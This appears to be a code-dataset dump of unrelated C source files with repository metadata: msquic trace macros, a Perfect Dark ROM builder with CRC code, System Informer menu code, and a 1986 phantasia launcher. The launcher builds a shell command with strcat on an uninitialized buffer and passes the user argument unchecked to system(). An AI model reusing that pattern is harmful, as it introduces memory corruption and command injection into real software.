// arg2 = arg2 = PtkConnPre(Connection) = arg2
// arg3 = arg3 = PktRxPre(Rx) = arg3
// arg4 = arg4 = PacketNumber = arg4
----------------------------------------------------------*/
#ifndef _clog_5_ARGS_TRACE_FrameLogMaxStreamsInvalid
#define _clog_5_ARGS_TRACE_FrameLogMaxStreamsInvalid(uniqueId, encoded_arg_string, arg2, arg3, arg4)\
tracepoint(CLOG_FRAME_C, FrameLogMaxStreamsInvalid , arg2, arg3, arg4);\
#endif
/*----------------------------------------------------------
// Decoder Ring for FrameLogMaxStreams
// [%c][%cX][%llu] MAX_STREAMS[%hu] Count:%llu
// QuicTraceLogVerbose(
FrameLogMaxStreams,
"[%c][%cX][%llu] MAX_STREAMS[%hu] Count:%llu",
PtkConnPre(Connection),
PktRxPre(Rx),
PacketNumber,
Frame.BidirectionalStreams,
Frame.MaximumStreams);
// arg2 = arg2 = PtkConnPre(Connection) = arg2
// arg3 = arg3 = PktRxPre(Rx) = arg3
// arg4 = arg4 = PacketNumber = arg4
// arg5 = arg5 = Frame.BidirectionalStreams = arg5
// arg6 = arg6 = Frame.MaximumStreams = arg6
----------------------------------------------------------*/
#ifndef _clog_7_ARGS_TRACE_FrameLogMaxStreams
#define _clog_7_ARGS_TRACE_FrameLogMaxStreams(uniqueId, encoded_arg_string, arg2, arg3, arg4, arg5, arg6)\
tracepoint(CLOG_FRAME_C, FrameLogMaxStreams , arg2, arg3, arg4, arg5, arg6);\
#endif
/*----------------------------------------------------------
// Decoder Ring for FrameLogDataBlockedInvalid
// [%c][%cX][%llu] DATA_BLOCKED [Invalid]
// QuicTraceLogVerbose(
FrameLogDataBlockedInvalid,
"[%c][%cX][%llu] DATA_BLOCKED [Invalid]",
PtkConnPre(Connection),
PktRxPre(Rx),
PacketNumber);
// arg2 = arg2 = PtkConnPre(Connection) = arg2
// arg3 = arg3 = PktRxPre(Rx) = arg3
// arg4 = arg4 = PacketNumber = arg4
----------------------------------------------------------*/
#ifndef _clog_5_ARGS_TRACE_FrameLogDataBlockedInvalid
#define _clog_5_ARGS_TRACE_FrameLogDataBlockedInvalid(uniqueId, encoded_arg_string, arg2, arg3, arg4)\
tracepoint(CLOG_FRAME_C, FrameLogDataBlockedInvalid , arg2, arg3, arg4);\
#endif
/*----------------------------------------------------------
// Decoder Ring for FrameLogDataBlocked
// [%c][%cX][%llu] DATA_BLOCKED Limit:%llu
// QuicTraceLogVerbose(
FrameLogDataBlocked,
"[%c][%cX][%llu] DATA_BLOCKED Limit:%llu",
PtkConnPre(Connection),
PktRxPre(Rx),
PacketNumber,
Frame.DataLimit);
// arg2 = arg2 = PtkConnPre(Connection) = arg2
// arg3 = arg3 = PktRxPre(Rx) = arg3
// arg4 = arg4 = PacketNumber = arg4
// arg5 = arg5 = Frame.DataLimit = arg5
----------------------------------------------------------*/
#ifndef _clog_6_ARGS_TRACE_FrameLogDataBlocked
#define _clog_6_ARGS_TRACE_FrameLogDataBlocked(uniqueId, encoded_arg_string, arg2, arg3, arg4, arg5)\
tracepoint(CLOG_FRAME_C, FrameLogDataBlocked , arg2, arg3, arg4, arg5);\
#endif
/*----------------------------------------------------------
// Decoder Ring for FrameLogStreamDataBlockedInvalid
// [%c][%cX][%llu] STREAM_DATA_BLOCKED [Invalid]
// QuicTraceLogVerbose(
FrameLogStreamDataBlockedInvalid,
"[%c][%cX][%llu] STREAM_DATA_BLOCKED [Invalid]",
PtkConnPre(Connection),
PktRxPre(Rx),
PacketNumber);
// arg2 = arg2 = PtkConnPre(Connection) = arg2
// arg3 = arg3 = PktRxPre(Rx) = arg3
// arg4 = arg4 = PacketNumber = arg4
----------------------------------------------------------*/
#ifndef _clog_5_ARGS_TRACE_FrameLogStreamDataBlockedInvalid
#define _clog_5_ARGS_TRACE_FrameLogStreamDataBlockedInvalid(uniqueId, encoded_arg_string, arg2, arg3, arg4)\
tracepoint(CLOG_FRAME_C, FrameLogStreamDataBlockedInvalid , arg2, arg3, arg4);\
#endif
/*----------------------------------------------------------
// Decoder Ring for FrameLogStreamDataBlocked
// [%c][%cX][%llu] STREAM_DATA_BLOCKED ID:%llu Limit:%llu
// QuicTraceLogVerbose(
FrameLogStreamDataBlocked,
"[%c][%cX][%llu] STREAM_DATA_BLOCKED ID:%llu Limit:%llu",
PtkConnPre(Connection),
PktRxPre(Rx),
PacketNumber,
Frame.StreamID,
Frame.StreamDataLimit);
// arg2 = arg2 = PtkConnPre(Connection) = arg2
// arg3 = arg3 = PktRxPre(Rx) = arg3
// arg4 = arg4 = PacketNumber = arg4
// arg5 = arg5 = Frame.StreamID = arg5
// arg6 = arg6 = Frame.StreamDataLimit = arg6
----------------------------------------------------------*/
#ifndef _clog_7_ARGS_TRACE_FrameLogStreamDataBlocked
#define _clog_7_ARGS_TRACE_FrameLogStreamDataBlocked(uniqueId, encoded_arg_string, arg2, arg3, arg4, arg5, arg6)\
tracepoint(CLOG_FRAME_C, FrameLogStreamDataBlocked , arg2, arg3, arg4, arg5, arg6);\
#endif
/*----------------------------------------------------------
// Decoder Ring for FrameLogStreamsBlockedInvalid
// [%c][%cX][%llu] STREAMS_BLOCKED [Invalid]
// QuicTraceLogVerbose(
FrameLogStreamsBlockedInvalid,
"[%c][%cX][%llu] STREAMS_BLOCKED [Invalid]",
PtkConnPre(Connection),
PktRxPre(Rx),
PacketNumber);
// arg2 = arg2 = PtkConnPre(Connection) = arg2
// arg3 = arg3 = PktRxPre(Rx) = arg3
// arg4 = arg4 = PacketNumber = arg4
----------------------------------------------------------*/
#ifndef _clog_5_ARGS_TRACE_FrameLogStreamsBlockedInvalid
#define _clog_5_ARGS_TRACE_FrameLogStreamsBlockedInvalid(uniqueId, encoded_arg_string, arg2, arg3, arg4)\
tracepoint(CLOG_FRAME_C, FrameLogStreamsBlockedInvalid , arg2, arg3, arg4);\
#endif
/*----------------------------------------------------------
// Decoder Ring for FrameLogStreamsBlocked
// [%c][%cX][%llu] STREAMS_BLOCKED[%hu] ID:%llu
// QuicTraceLogVerbose(
FrameLogStreamsBlocked,
"[%c][%cX][%llu] STREAMS_BLOCKED[%hu] ID:%llu",
PtkConnPre(Connection),
PktRxPre(Rx),
PacketNumber,
Frame.BidirectionalStreams,
Frame.StreamLimit);
// arg2 = arg2 = PtkConnPre(Connection) = arg2
// arg3 = arg3 = PktRxPre(Rx) = arg3
// arg4 = arg4 = PacketNumber = arg4
// arg5 = arg5 = Frame.BidirectionalStreams = arg5
// arg6 = arg6 = Frame.StreamLimit = arg6
----------------------------------------------------------*/
#ifndef _clog_7_ARGS_TRACE_FrameLogStreamsBlocked
#define _clog_7_ARGS_TRACE_FrameLogStreamsBlocked(uniqueId, encoded_arg_string, arg2, arg3, arg4, arg5, arg6)\
tracepoint(CLOG_FRAME_C, FrameLogStreamsBlocked , arg2, arg3, arg4, arg5, arg6);\
#endif
/*----------------------------------------------------------
// Decoder Ring for FrameLogNewConnectionIDInvalid
// [%c][%cX][%llu] NEW_CONN_ID [Invalid]
// QuicTraceLogVerbose(
FrameLogNewConnectionIDInvalid,
"[%c][%cX][%llu] NEW_CONN_ID [Invalid]",
PtkConnPre(Connection),
PktRxPre(Rx),
PacketNumber);
// arg2 = arg2 = PtkConnPre(Connection) = arg2
// arg3 = arg3 = PktRxPre(Rx) = arg3
// arg4 = arg4 = PacketNumber = arg4
----------------------------------------------------------*/
#ifndef _clog_5_ARGS_TRACE_FrameLogNewConnectionIDInvalid
#define _clog_5_ARGS_TRACE_FrameLogNewConnectionIDInvalid(uniqueId, encoded_arg_string, arg2, arg3, arg4)\
tracepoint(CLOG_FRAME_C, FrameLogNewConnectionIDInvalid , arg2, arg3, arg4);\
#endif
/*----------------------------------------------------------
// Decoder Ring for FrameLogNewConnectionID
// [%c][%cX][%llu] NEW_CONN_ID Seq:%llu RPT:%llu CID:%s Token:%s
// QuicTraceLogVerbose(
FrameLogNewConnectionID,
"[%c][%cX][%llu] NEW_CONN_ID Seq:%llu RPT:%llu CID:%s Token:%s",
PtkConnPre(Connection),
PktRxPre(Rx),
PacketNumber,
Frame.Sequence,
Frame.RetirePriorTo,
QuicCidBufToStr(Frame.Buffer, Frame.Length).Buffer,
QuicCidBufToStr(Frame.Buffer + Frame.Length, QUIC_STATELESS_RESET_TOKEN_LENGTH).Buffer);
// arg2 = arg2 = PtkConnPre(Connection) = arg2
// arg3 = arg3 = PktRxPre(Rx) = arg3
// arg4 = arg4 = PacketNumber = arg4
// arg5 = arg5 = Frame.Sequence = arg5
// arg6 = arg6 = Frame.RetirePriorTo = arg6
// arg7 = arg7 = QuicCidBufToStr(Frame.Buffer, Frame.Length).Buffer = arg7
// arg8 = arg8 = QuicCidBufToStr(Frame.Buffer + Frame.Length, QUIC_STATELESS_RESET_TOKEN_LENGTH).Buffer = arg8
----------------------------------------------------------*/
#ifndef _clog_9_ARGS_TRACE_FrameLogNewConnectionID
#define _clog_9_ARGS_TRACE_FrameLogNewConnectionID(uniqueId, encoded_arg_string, arg2, arg3, arg4, arg5, arg6, arg7, arg8)\
tracepoint(CLOG_FRAME_C, FrameLogNewConnectionID , arg2, arg3, arg4, arg5, arg6, arg7, arg8);\
#endif
/*----------------------------------------------------------
// Decoder Ring for FrameLogRetireConnectionIDInvalid
// [%c][%cX][%llu] RETIRE_CONN_ID [Invalid]
// QuicTraceLogVerbose(
FrameLogRetireConnectionIDInvalid,
"[%c][%cX][%llu] RETIRE_CONN_ID [Invalid]",
PtkConnPre(Connection),
PktRxPre(Rx),
PacketNumber);
// arg2 = arg2 = PtkConnPre(Connection) = arg2
// arg3 = arg3 = PktRxPre(Rx) = arg3
// arg4 = arg4 = PacketNumber = arg4
----------------------------------------------------------*/
#ifndef _clog_5_ARGS_TRACE_FrameLogRetireConnectionIDInvalid
#define _clog_5_ARGS_TRACE_FrameLogRetireConnectionIDInvalid(uniqueId, encoded_arg_string, arg2, arg3, arg4)\
tracepoint(CLOG_FRAME_C, FrameLogRetireConnectionIDInvalid , arg2, arg3, arg4);\
#endif
/*----------------------------------------------------------
// Decoder Ring for FrameLogRetireConnectionID
// [%c][%cX][%llu] RETIRE_CONN_ID Seq:%llu
// QuicTraceLogVerbose(
FrameLogRetireConnectionID,
"[%c][%cX][%llu] RETIRE_CONN_ID Seq:%llu",
PtkConnPre(Connection),
PktRxPre(Rx),
PacketNumber,
Frame.Sequence);
// arg2 = arg2 = PtkConnPre(Connection) = arg2
// arg3 = arg3 = PktRxPre(Rx) = arg3
// arg4 = arg4 = PacketNumber = arg4
// arg5 = arg5 = Frame.Sequence = arg5
----------------------------------------------------------*/
#ifndef _clog_6_ARGS_TRACE_FrameLogRetireConnectionID
#define _clog_6_ARGS_TRACE_FrameLogRetireConnectionID(uniqueId, encoded_arg_string, arg2, arg3, arg4, arg5)\
tracepoint(CLOG_FRAME_C, FrameLogRetireConnectionID , arg2, arg3, arg4, arg5);\
#endif
/*----------------------------------------------------------
// Decoder Ring for FrameLogPathChallengeInvalid
// [%c][%cX][%llu] PATH_CHALLENGE [Invalid]
// QuicTraceLogVerbose(
FrameLogPathChallengeInvalid,
"[%c][%cX][%llu] PATH_CHALLENGE [Invalid]",
PtkConnPre(Connection),
PktRxPre(Rx),
PacketNumber);
// arg2 = arg2 = PtkConnPre(Connection) = arg2
// arg3 = arg3 = PktRxPre(Rx) = arg3
// arg4 = arg4 = PacketNumber = arg4
----------------------------------------------------------*/
#ifndef _clog_5_ARGS_TRACE_FrameLogPathChallengeInvalid
#define _clog_5_ARGS_TRACE_FrameLogPathChallengeInvalid(uniqueId, encoded_arg_string, arg2, arg3, arg4)\
tracepoint(CLOG_FRAME_C, FrameLogPathChallengeInvalid , arg2, arg3, arg4);\
#endif
/*----------------------------------------------------------
// Decoder Ring for FrameLogPathChallenge
// [%c][%cX][%llu] PATH_CHALLENGE [%llu]
// QuicTraceLogVerbose(
FrameLogPathChallenge,
"[%c][%cX][%llu] PATH_CHALLENGE [%llu]",
PtkConnPre(Connection),
PktRxPre(Rx),
PacketNumber,
CxPlatByteSwapUint64(*(uint64_t*)Frame.Data));
// arg2 = arg2 = PtkConnPre(Connection) = arg2
// arg3 = arg3 = PktRxPre(Rx) = arg3
// arg4 = arg4 = PacketNumber = arg4
// arg5 = arg5 = CxPlatByteSwapUint64(*(uint64_t*)Frame.Data) = arg5
----------------------------------------------------------*/
#ifndef _clog_6_ARGS_TRACE_FrameLogPathChallenge
#define _clog_6_ARGS_TRACE_FrameLogPathChallenge(uniqueId, encoded_arg_string, arg2, arg3, arg4, arg5)\
tracepoint(CLOG_FRAME_C, FrameLogPathChallenge , arg2, arg3, arg4, arg5);\
#endif
/*----------------------------------------------------------
// Decoder Ring for FrameLogPathResponseInvalid
// [%c][%cX][%llu] PATH_RESPONSE [Invalid]
// QuicTraceLogVerbose(
FrameLogPathResponseInvalid,
"[%c][%cX][%llu] PATH_RESPONSE [Invalid]",
PtkConnPre(Connection),
PktRxPre(Rx),
PacketNumber);
// arg2 = arg2 = PtkConnPre(Connection) = arg2
// arg3 = arg3 = PktRxPre(Rx) = arg3
// arg4 = arg4 = PacketNumber = arg4
----------------------------------------------------------*/
#ifndef _clog_5_ARGS_TRACE_FrameLogPathResponseInvalid
#define _clog_5_ARGS_TRACE_FrameLogPathResponseInvalid(uniqueId, encoded_arg_string, arg2, arg3, arg4)\
tracepoint(CLOG_FRAME_C, FrameLogPathResponseInvalid , arg2, arg3, arg4);\
#endif
/*----------------------------------------------------------
// Decoder Ring for FrameLogPathResponse
// [%c][%cX][%llu] PATH_RESPONSE [%llu]
// QuicTraceLogVerbose(
FrameLogPathResponse,
"[%c][%cX][%llu] PATH_RESPONSE [%llu]",
PtkConnPre(Connection),
PktRxPre(Rx),
PacketNumber,
CxPlatByteSwapUint64(*(uint64_t*)Frame.Data));
// arg2 = arg2 = PtkConnPre(Connection) = arg2
// arg3 = arg3 = PktRxPre(Rx) = arg3
// arg4 = arg4 = PacketNumber = arg4
// arg5 = arg5 = CxPlatByteSwapUint64(*(uint64_t*)Frame.Data) = arg5
----------------------------------------------------------*/
#ifndef _clog_6_ARGS_TRACE_FrameLogPathResponse
#define _clog_6_ARGS_TRACE_FrameLogPathResponse(uniqueId, encoded_arg_string, arg2, arg3, arg4, arg5)\
tracepoint(CLOG_FRAME_C, FrameLogPathResponse , arg2, arg3, arg4, arg5);\
#endif
/*----------------------------------------------------------
// Decoder Ring for FrameLogConnectionCloseInvalid
// [%c][%cX][%llu] CONN_CLOSE [Invalid]
// QuicTraceLogVerbose(
FrameLogConnectionCloseInvalid,
"[%c][%cX][%llu] CONN_CLOSE [Invalid]",
PtkConnPre(Connection),
PktRxPre(Rx),
PacketNumber);
// arg2 = arg2 = PtkConnPre(Connection) = arg2
// arg3 = arg3 = PktRxPre(Rx) = arg3
// arg4 = arg4 = PacketNumber = arg4
----------------------------------------------------------*/
#ifndef _clog_5_ARGS_TRACE_FrameLogConnectionCloseInvalid
#define _clog_5_ARGS_TRACE_FrameLogConnectionCloseInvalid(uniqueId, encoded_arg_string, arg2, arg3, arg4)\
tracepoint(CLOG_FRAME_C, FrameLogConnectionCloseInvalid , arg2, arg3, arg4);\
#endif
/*----------------------------------------------------------
// Decoder Ring for FrameLogConnectionCloseApp
// [%c][%cX][%llu] CONN_CLOSE (App) ErrorCode:0x%llX
// QuicTraceLogVerbose(
FrameLogConnectionCloseApp,
"[%c][%cX][%llu] CONN_CLOSE (App) ErrorCode:0x%llX",
PtkConnPre(Connection),
PktRxPre(Rx),
PacketNumber,
Frame.ErrorCode);
// arg2 = arg2 = PtkConnPre(Connection) = arg2
// arg3 = arg3 = PktRxPre(Rx) = arg3
// arg4 = arg4 = PacketNumber = arg4
// arg5 = arg5 = Frame.ErrorCode = arg5
----------------------------------------------------------*/
#ifndef _clog_6_ARGS_TRACE_FrameLogConnectionCloseApp
#define _clog_6_ARGS_TRACE_FrameLogConnectionCloseApp(uniqueId, encoded_arg_string, arg2, arg3, arg4, arg5)\
tracepoint(CLOG_FRAME_C, FrameLogConnectionCloseApp , arg2, arg3, arg4, arg5);\
#endif
/*----------------------------------------------------------
// Decoder Ring for FrameLogConnectionClose
// [%c][%cX][%llu] CONN_CLOSE ErrorCode:0x%llX FrameType:%llu
// QuicTraceLogVerbose(
FrameLogConnectionClose,
"[%c][%cX][%llu] CONN_CLOSE ErrorCode:0x%llX FrameType:%llu",
PtkConnPre(Connection),
PktRxPre(Rx),
PacketNumber,
Frame.ErrorCode,
Frame.FrameType);
// arg2 = arg2 = PtkConnPre(Connection) = arg2
// arg3 = arg3 = PktRxPre(Rx) = arg3
// arg4 = arg4 = PacketNumber = arg4
// arg5 = arg5 = Frame.ErrorCode = arg5
// arg6 = arg6 = Frame.FrameType = arg6
----------------------------------------------------------*/
#ifndef _clog_7_ARGS_TRACE_FrameLogConnectionClose
#define _clog_7_ARGS_TRACE_FrameLogConnectionClose(uniqueId, encoded_arg_string, arg2, arg3, arg4, arg5, arg6)\
tracepoint(CLOG_FRAME_C, FrameLogConnectionClose , arg2, arg3, arg4, arg5, arg6);\
#endif
/*----------------------------------------------------------
// Decoder Ring for FrameLogHandshakeDone
// [%c][%cX][%llu] HANDSHAKE_DONE
// QuicTraceLogVerbose(
FrameLogHandshakeDone,
"[%c][%cX][%llu] HANDSHAKE_DONE",
PtkConnPre(Connection),
PktRxPre(Rx),
PacketNumber);
// arg2 = arg2 = PtkConnPre(Connection) = arg2
// arg3 = arg3 = PktRxPre(Rx) = arg3
// arg4 = arg4 = PacketNumber = arg4
----------------------------------------------------------*/
#ifndef _clog_5_ARGS_TRACE_FrameLogHandshakeDone
#define _clog_5_ARGS_TRACE_FrameLogHandshakeDone(uniqueId, encoded_arg_string, arg2, arg3, arg4)\
tracepoint(CLOG_FRAME_C, FrameLogHandshakeDone , arg2, arg3, arg4);\
#endif
/*----------------------------------------------------------
// Decoder Ring for FrameLogDatagramInvalid
// [%c][%cX][%llu] DATAGRAM [Invalid]
// QuicTraceLogVerbose(
FrameLogDatagramInvalid,
"[%c][%cX][%llu] DATAGRAM [Invalid]",
PtkConnPre(Connection),
PktRxPre(Rx),
PacketNumber);
// arg2 = arg2 = PtkConnPre(Connection) = arg2
// arg3 = arg3 = PktRxPre(Rx) = arg3
// arg4 = arg4 = PacketNumber = arg4
----------------------------------------------------------*/
#ifndef _clog_5_ARGS_TRACE_FrameLogDatagramInvalid
#define _clog_5_ARGS_TRACE_FrameLogDatagramInvalid(uniqueId, encoded_arg_string, arg2, arg3, arg4)\
tracepoint(CLOG_FRAME_C, FrameLogDatagramInvalid , arg2, arg3, arg4);\
#endif
/*----------------------------------------------------------
// Decoder Ring for FrameLogDatagram
// [%c][%cX][%llu] DATAGRAM Len:%hu
// QuicTraceLogVerbose(
FrameLogDatagram,
"[%c][%cX][%llu] DATAGRAM Len:%hu",
PtkConnPre(Connection),
PktRxPre(Rx),
PacketNumber,
(uint16_t)Frame.Length);
// arg2 = arg2 = PtkConnPre(Connection) = arg2
// arg3 = arg3 = PktRxPre(Rx) = arg3
// arg4 = arg4 = PacketNumber = arg4
// arg5 = arg5 = (uint16_t)Frame.Length = arg5
----------------------------------------------------------*/
#ifndef _clog_6_ARGS_TRACE_FrameLogDatagram
#define _clog_6_ARGS_TRACE_FrameLogDatagram(uniqueId, encoded_arg_string, arg2, arg3, arg4, arg5)\
tracepoint(CLOG_FRAME_C, FrameLogDatagram , arg2, arg3, arg4, arg5);\
#endif
/*----------------------------------------------------------
// Decoder Ring for FrameLogAckFrequencyInvalid
// [%c][%cX][%llu] ACK_FREQUENCY [Invalid]
// QuicTraceLogVerbose(
FrameLogAckFrequencyInvalid,
"[%c][%cX][%llu] ACK_FREQUENCY [Invalid]",
PtkConnPre(Connection),
PktRxPre(Rx),
PacketNumber);
// arg2 = arg2 = PtkConnPre(Connection) = arg2
// arg3 = arg3 = PktRxPre(Rx) = arg3
// arg4 = arg4 = PacketNumber = arg4
----------------------------------------------------------*/
#ifndef _clog_5_ARGS_TRACE_FrameLogAckFrequencyInvalid
#define _clog_5_ARGS_TRACE_FrameLogAckFrequencyInvalid(uniqueId, encoded_arg_string, arg2, arg3, arg4)\
tracepoint(CLOG_FRAME_C, FrameLogAckFrequencyInvalid , arg2, arg3, arg4);\
#endif
/*----------------------------------------------------------
// Decoder Ring for FrameLogAckFrequency
// [%c][%cX][%llu] ACK_FREQUENCY SeqNum:%llu PktTolerance:%llu MaxAckDelay:%llu IgnoreOrder:%hhu IgnoreCE:%hhu
// QuicTraceLogVerbose(
FrameLogAckFrequency,
"[%c][%cX][%llu] ACK_FREQUENCY SeqNum:%llu PktTolerance:%llu MaxAckDelay:%llu IgnoreOrder:%hhu IgnoreCE:%hhu",
PtkConnPre(Connection),
PktRxPre(Rx),
PacketNumber,
Frame.SequenceNumber,
Frame.PacketTolerance,
Frame.UpdateMaxAckDelay,
Frame.IgnoreOrder,
Frame.IgnoreCE);
// arg2 = arg2 = PtkConnPre(Connection) = arg2
// arg3 = arg3 = PktRxPre(Rx) = arg3
// arg4 = arg4 = PacketNumber = arg4
// arg5 = arg5 = Frame.SequenceNumber = arg5
// arg6 = arg6 = Frame.PacketTolerance = arg6
// arg7 = arg7 = Frame.UpdateMaxAckDelay = arg7
// arg8 = arg8 = Frame.IgnoreOrder = arg8
// arg9 = arg9 = Frame.IgnoreCE = arg9
----------------------------------------------------------*/
#ifndef _clog_10_ARGS_TRACE_FrameLogAckFrequency
#define _clog_10_ARGS_TRACE_FrameLogAckFrequency(uniqueId, encoded_arg_string, arg2, arg3, arg4, arg5, arg6, arg7, arg8, arg9)\
tracepoint(CLOG_FRAME_C, FrameLogAckFrequency , arg2, arg3, arg4, arg5, arg6, arg7, arg8, arg9);\
#endif
/*----------------------------------------------------------
// Decoder Ring for FrameLogImmediateAck
// [%c][%cX][%llu] IMMEDIATE_ACK
// QuicTraceLogVerbose(
FrameLogImmediateAck,
"[%c][%cX][%llu] IMMEDIATE_ACK",
PtkConnPre(Connection),
PktRxPre(Rx),
PacketNumber);
// arg2 = arg2 = PtkConnPre(Connection) = arg2
// arg3 = arg3 = PktRxPre(Rx) = arg3
// arg4 = arg4 = PacketNumber = arg4
----------------------------------------------------------*/
#ifndef _clog_5_ARGS_TRACE_FrameLogImmediateAck
#define _clog_5_ARGS_TRACE_FrameLogImmediateAck(uniqueId, encoded_arg_string, arg2, arg3, arg4)\
tracepoint(CLOG_FRAME_C, FrameLogImmediateAck , arg2, arg3, arg4);\
#endif
/*----------------------------------------------------------
// Decoder Ring for ConnError
// [conn][%p] ERROR, %s.
// QuicTraceEvent(
ConnError,
"[conn][%p] ERROR, %s.",
Connection,
"Frame type decode failure");
// arg2 = arg2 = Connection = arg2
// arg3 = arg3 = "Frame type decode failure" = arg3
----------------------------------------------------------*/
#ifndef _clog_4_ARGS_TRACE_ConnError
#define _clog_4_ARGS_TRACE_ConnError(uniqueId, encoded_arg_string, arg2, arg3)\
tracepoint(CLOG_FRAME_C, ConnError , arg2, arg3);\
#endif
#ifdef __cplusplus
}
#endif
#ifdef CLOG_INLINE_IMPLEMENTATION
#include "quic.clog_frame.c.clog.h.c"
#endif
|
20487dcd1a133cc0ed321fb2b40f15f275d0f360
|
8551168c7b71c31eebad0f9b0c71eebbcc743000
|
/tools/mkrom/rom.c
|
e7039bdec773ae6c511df082f9c9538327d852b9
|
[
"MIT"
] |
permissive
|
n64decomp/perfect_dark
|
0db80e8ecba74741b959962e55c835a91c920f44
|
0235a971d6fb1a0d4421856d5a65aa8067bd4658
|
refs/heads/master
| 2023-08-31T04:27:53.864767
| 2023-08-29T11:36:58
| 2023-08-29T11:36:58
| 241,214,589
| 452
| 47
|
MIT
| 2023-08-21T08:53:40
| 2020-02-17T21:46:45
|
C
|
UTF-8
|
C
| false
| false
| 2,395
|
c
|
rom.c
|
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "mkrom.h"
extern struct state state;
/**
* Load the stage1 ROM into memory.
*/
void rom_load(char *filename)
{
FILE *fp = fopen(filename, "rb");
if (!fp) {
fprintf(stderr, "Unable to open \"%s\" for reading\n", filename);
exit(1);
}
fseek(fp, 0, SEEK_END);
state.romlen = ftell(fp);
state.rom = malloc(state.romlen);
if (!state.rom) {
fprintf(stderr, "Unable to allocate memory for ROM\n");
exit(1);
}
fseek(fp, 0, SEEK_SET);
fread(state.rom, state.romlen, 1, fp);
fclose(fp);
state.is_ntscbeta = strncmp(&state.rom[0x20], "Perfect Dark DBGNTSC", 20) == 0;
}
/**
* Write the ROM to the given filename and truncate it to 32MB.
*/
void rom_write(char *filename)
{
FILE *fp = fopen(filename, "wb");
uint32_t fill_start;
uint32_t rom_size;
if (!fp) {
fprintf(stderr, "Unable to open \"%s\" for writing\n", filename);
exit(1);
}
map_get_segment_rompos("fill", &fill_start, &rom_size);
fwrite(state.rom, rom_size, 1, fp);
fclose(fp);
}
static uint32_t rol(uint32_t i, uint32_t b)
{
return (i << b) | (i >> (32 - b));
}
static uint32_t r4(unsigned char *b)
{
return b[0] * 0x1000000 + b[1] * 0x10000 + b[2] * 0x100 + b[3];
}
static void crc(unsigned char *rom, uint32_t *crc1, uint32_t *crc2)
{
uint32_t seed = 0xdf26f436;
uint32_t t1 = seed;
uint32_t t2 = seed;
uint32_t t3 = seed;
uint32_t t4 = seed;
uint32_t t5 = seed;
uint32_t t6 = seed;
uint32_t offset;
uint32_t d;
uint32_t r;
uint32_t temp;
unsigned char *lookup = &rom[0x40 + 0x0710];
for (offset = 0x1000; offset < 0x101000; offset += 4) {
d = r4(&rom[offset]);
if ((t6 + d) < t6) {
t4++;
}
t6 += d;
t3 ^= d;
r = rol(d, d & 0x1f);
t5 += r;
if (t2 > d) {
t2 ^= r;
} else {
t2 ^= t6 ^ d;
}
temp = r4(&lookup[offset & 0xff]);
t1 += temp ^ d;
}
*crc1 = t6 ^ t4 ^ t3;
*crc2 = t5 ^ t2 ^ t1;
}
/**
* Calculate the checksum of the ROM and write it to the ROM header.
*/
void rom_update_crc(void)
{
uint32_t crc1;
uint32_t crc2;
crc(state.rom, &crc1, &crc2);
state.rom[0x10] = (crc1 >> 24) & 0xff;
state.rom[0x11] = (crc1 >> 16) & 0xff;
state.rom[0x12] = (crc1 >> 8) & 0xff;
state.rom[0x13] = crc1 & 0xff;
state.rom[0x14] = (crc2 >> 24) & 0xff;
state.rom[0x15] = (crc2 >> 16) & 0xff;
state.rom[0x16] = (crc2 >> 8) & 0xff;
state.rom[0x17] = crc2 & 0xff;
}
|
f89c23783451114003e193d4d562f5167049c96b
|
c26d7b0ed875357278e61627da2da0650da77986
|
/src/games/phantasia/phant_run.c
|
ffd99fd63019999189fd8babbadb502a832fc773
|
[
"BSD-3-Clause"
] |
permissive
|
RetroBSD/retrobsd
|
5343d9e3c424637fc3ad5b03fe720b2744490025
|
486f81f6abff01c7dcc207235cd2979b226a95ff
|
refs/heads/master
| 2023-09-02T23:12:05.110883
| 2023-07-07T18:41:40
| 2023-07-07T18:41:40
| 18,598,087
| 282
| 59
|
BSD-3-Clause
| 2023-07-18T07:35:36
| 2014-04-09T13:25:46
|
C
|
UTF-8
|
C
| false
| false
| 244
|
c
|
phant_run.c
|
/*
This is a program to run phantasia
David Wells, May, 1986
*/
main(argc, argv)
int argc;
char **argv;
{
char tmp[160];
strcat(tmp,"exec nice /usr/games/lib/phantasia/phantasia ");
if (argc > 1)
strcat(tmp,argv[1]);
system(tmp);
}
|
c41d1984782f8ec52cfc835de396fd35f0188b09
|
581bdcc078d282e388f1b655d4cfc4e08152d117
|
/SystemInformer/hndlmenu.c
|
7ed15df476c88e23fdc26cfefb79a94045f3d7ff
|
[
"MIT",
"BSD-3-Clause",
"LGPL-2.0-or-later",
"Zlib",
"LGPL-2.1-or-later",
"GPL-2.0-only",
"LicenseRef-scancode-public-domain"
] |
permissive
|
winsiderss/systeminformer
|
774928be871f0055263ac5e62ae0a598b098486b
|
5a6b442acd45d681f699a133d476a3211d072871
|
refs/heads/master
| 2023-08-28T15:43:41.074679
| 2023-08-27T20:59:20
| 2023-08-27T20:59:20
| 50,824,485
| 2,137
| 292
|
MIT
| 2023-09-10T22:35:12
| 2016-02-01T08:10:21
|
C
|
UTF-8
|
C
| false
| false
| 12,690
|
c
|
hndlmenu.c
|
/*
* Copyright (c) 2022 Winsider Seminars & Solutions, Inc. All rights reserved.
*
* This file is part of System Informer.
*
* Authors:
*
* wj32 2016
*
*/
#include <phapp.h>
#include <hndlmenu.h>
#include <emenu.h>
#include <hndlinfo.h>
#include <kphuser.h>
#include <mainwnd.h>
#include <procprp.h>
#include <procprv.h>
VOID PhInsertHandleObjectPropertiesEMenuItems(
_In_ PPH_EMENU_ITEM Menu,
_In_ ULONG InsertBeforeId,
_In_ BOOLEAN EnableShortcut,
_In_ PPH_HANDLE_ITEM_INFO Info
)
{
PPH_EMENU_ITEM parentItem;
ULONG indexInParent;
if (!PhFindEMenuItemEx(Menu, 0, NULL, InsertBeforeId, &parentItem, &indexInParent))
return;
if (PhIsNullOrEmptyString(Info->TypeName))
return;
if (PhEqualString2(Info->TypeName, L"File", TRUE) || PhEqualString2(Info->TypeName, L"DLL", TRUE) ||
PhEqualString2(Info->TypeName, L"Mapped file", TRUE) || PhEqualString2(Info->TypeName, L"Mapped image", TRUE))
{
if (PhEqualString2(Info->TypeName, L"File", TRUE))
PhInsertEMenuItem(parentItem, PhCreateEMenuItem(0, ID_HANDLE_OBJECTPROPERTIES2, L"File propert&ies", NULL, NULL), indexInParent);
PhInsertEMenuItem(parentItem, PhCreateEMenuItem(0, ID_HANDLE_OBJECTPROPERTIES1, PhaAppendCtrlEnter(L"Open &file location", EnableShortcut), NULL, NULL), indexInParent);
}
else if (PhEqualString2(Info->TypeName, L"Key", TRUE))
